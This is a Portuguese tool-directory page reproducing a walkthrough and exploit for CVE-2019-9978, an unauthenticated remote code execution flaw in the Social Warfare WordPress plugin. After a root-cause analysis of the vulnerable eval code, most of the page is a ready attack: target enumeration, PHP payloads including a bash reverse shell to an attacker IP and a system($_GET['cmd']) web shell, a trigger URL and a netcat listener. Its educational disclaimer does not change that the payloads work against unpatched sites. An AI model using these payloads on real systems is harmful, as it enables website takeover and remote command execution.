Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/tokyohunter/cve-2019-9978-social-warfare-wordpress-rce
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubtokyohunter/cve-2019-9978-social-warfare-wordpress-rce

CVE-2019-9978-Social-Warfare-WordPress-RCE

Um passo a passo completo e exploit para CVE-2019-9978 - Execução Remota de Código Não Autenticada no plugin Social Warfare para WordPress ≤ 3.5.2. Inclui análise de código vulnerável e exemplos de payload.

Ver Repositório
12há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Gemini_Generated_Image_a1skbua1skbua1sk

🚀 CVE-2019-9978 – RCE no Plugin Social Warfare do WordPress

⚠️ AVISO LEGAL: Este repositório é apenas para testes de segurança educacionais e autorizados. Use somente em sistemas que você possua ou tenha permissão explícita por escrito para testar. Acesso não autorizado é ilegal.


📋 Visão Geral

PropriedadeValor
ID CVECVE-2019-9978
Software AfetadoPlugin Social Warfare ≤ 3.5.2 (WordPress)
Tipo de VulnerabilidadeExecução Remota de Código (RCE) / Inclusão Remota de Arquivo (RFI)
Autenticação Necessária❌ Não – sem autenticação
Pontuação CVSS9.8 (Crítico)
Corrigido emVersão 3.5.3
Explorado ativamenteSim – Março de 2019

O plugin Social Warfare é um plugin popular do WordPress que adiciona botões de compartilhamento social aos sites. As versões 3.5.0 a 3.5.2 contêm uma vulnerabilidade crítica de RCE que permite que atacantes executem código PHP arbitrário no servidor sem qualquer autenticação.


Qual é o uso deste plugin?

Social Warfare é um plugin popular do WordPress que adiciona botões de compartilhamento social aos sites, permitindo que os visitantes compartilhem conteúdo facilmente em plataformas como:

  • Facebook
  • Twitter / X
  • Pinterest
  • LinkedIn
  • Reddit
  • WhatsApp

sc1


Análise da Causa Raiz

O Código Vulnerável

root@kitploit:~
if ( true == SWP_Utility::debug( 'load_options' ) ) {
    // ⚠️ MAL-ENTENDIMENTO CRÍTICO:
    // is_admin() apenas verifica se a página está em /wp-admin/
    // NÃO verifica autenticação ou privilégios do usuário!
    if ( is_admin() ) {
        wp_die( 'You do not have authorization to view this page.' );
    }

    // Etapa 1: Busca arquivo remoto a partir de URL controlada pelo usuário
    // Sem validação, sem sanitização, sem lista branca!
    $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    // Etapa 2: Extrai conteúdo entre as tags <pre>
    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    // Etapa 3: Constrói a string de código PHP
    $array = 'return ' . $options . ';';

    // Etapa 4: 💀 FALHA CRÍTICA – Código fornecido pelo usuário é executado!
    try {
        $fetched_options = eval( $array ); // <-- Execução Remota de Código
        // ... resto da lógica de migração
    } catch ( ParseError $e ) {
        // ... tratamento de erro
    }
}

Por que is_admin() NÃO é Segurança

A função do WordPress is_admin() não verifica se o usuário está logado ou possui privilégios de administrador. Ela apenas verifica se a página requisitada está dentro do diretório /wp-admin/:

root@kitploit:~
function is_admin() {
    return defined('WP_ADMIN') && WP_ADMIN;
    //  NÃO verifica autenticação!
    //  NÃO verifica papel do usuário!
}

A ironia: Quando você acessa /wp-admin/admin-post.php, o WordPress define WP_ADMIN = true. Isso faz com que is_admin() retorne true mesmo para requisições não autenticadas, o que habilita a execução do bloco de código vulnerável.

Aqui está a vulnerabilidade!

root@kitploit:~
 $options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );

    if ( strpos( $options, '<pre>' ) !== false ) {
        $options = str_replace( '<pre>', '', $options );
        $cutoff = strpos( $options, '</pre>' );
        $options = substr( $options, 0, $cutoff );
    }

    $array = 'return ' . $options . ';';

    try {
        $fetched_options = eval( $array ); // <-- Remote Code Execution
    }

O plugin possuía um recurso de "debug" oculto que supostamente ajudaria desenvolvedores a carregar arquivos de configuração de URLs externas. No entanto, esse recurso tinha uma falha fatal: baixava qualquer arquivo de uma URL fornecida pelo usuário e executava qualquer código que encontrasse dentro — sem pedir permissão ou verificar se o usuário estava autorizado.

O exploit é simples:

Um atacante hospeda um arquivo malicioso em seu próprio servidor, instrui o plugin a baixá-lo, e o plugin executa cegamente o código do atacante no site da vítima. Como o plugin não exige que você esteja logado para acionar isso, qualquer pessoa que saiba a URL pode assumir o controle do site.

Pense assim: Imagine um segurança que abre qualquer porta quando você diz "modo debug" — sem verificar se você trabalha lá ou tem um crachá. Foi exatamente isso que essa vulnerabilidade fez.

O exploit deve escrever entre 2 tags <pre></pre>.


💀 Passo a Passo da Exploração

Passo 1: Identificar um alvo vulnerável ou instalar um WordPress e este plugin e seguir os passos

Use o WPScan para identificar a versão do plugin Social Warfare:

root@kitploit:~
wpscan --url http://target.com --enumerate vp
  • Plugin Social Warfare versão ≤ 3.5.2

Se você instalou por conta própria, não esqueça de ativar o plugin no painel administrativo.


Passo 2: Criar o Arquivo de Payload

Crie payload.txt com o payload desejado e, em seguida, crie um servidor para servir esse payload.

Exemplos de payloads:

Payload de Teste (Verificar RCE):

root@kitploit:~
<pre>phpinfo();</pre>

Teste Out-of-Bound:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

Reverse Shell Linux:

root@kitploit:~
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>

Executor Interativo de Comandos:

root@kitploit:~
<pre>system($_GET['cmd']);</pre>

Passo 3: Hospedar o Payload

Inicie um servidor HTTP Python para hospedar seu payload:

root@kitploit:~
python3 -m http.server 8000

Seu payload agora está acessível em: http://YOUR_IP:8000/payload.txt

Se você usar localhost:

root@kitploit:~
http://127.0.0.1:8000/payload.txt

Após fazer a requisição a partir do código vulnerável, você deve ver um status code 200:

sc3


Passo 4: Acionar o Exploit

Opção A – Acionamento Manual:

Visite esta URL no seu navegador ou use curl:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt

Novamente, se você usar localhost:

root@kitploit:~
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt

Passo 5: Capturar o Reverse Shell (Para Payloads de Reverse Shell)

root@kitploit:~
nc -lvnp 4444

Se bem-sucedido, você obterá um shell!


Resultados:

root@kitploit:~
<pre>@file_get_contents('http://burp collabrator');</pre>

sce

root@kitploit:~
<pre>phpinfo();</pre>

sc4


Feliz Hacking! 🚀

Baixar ferramenta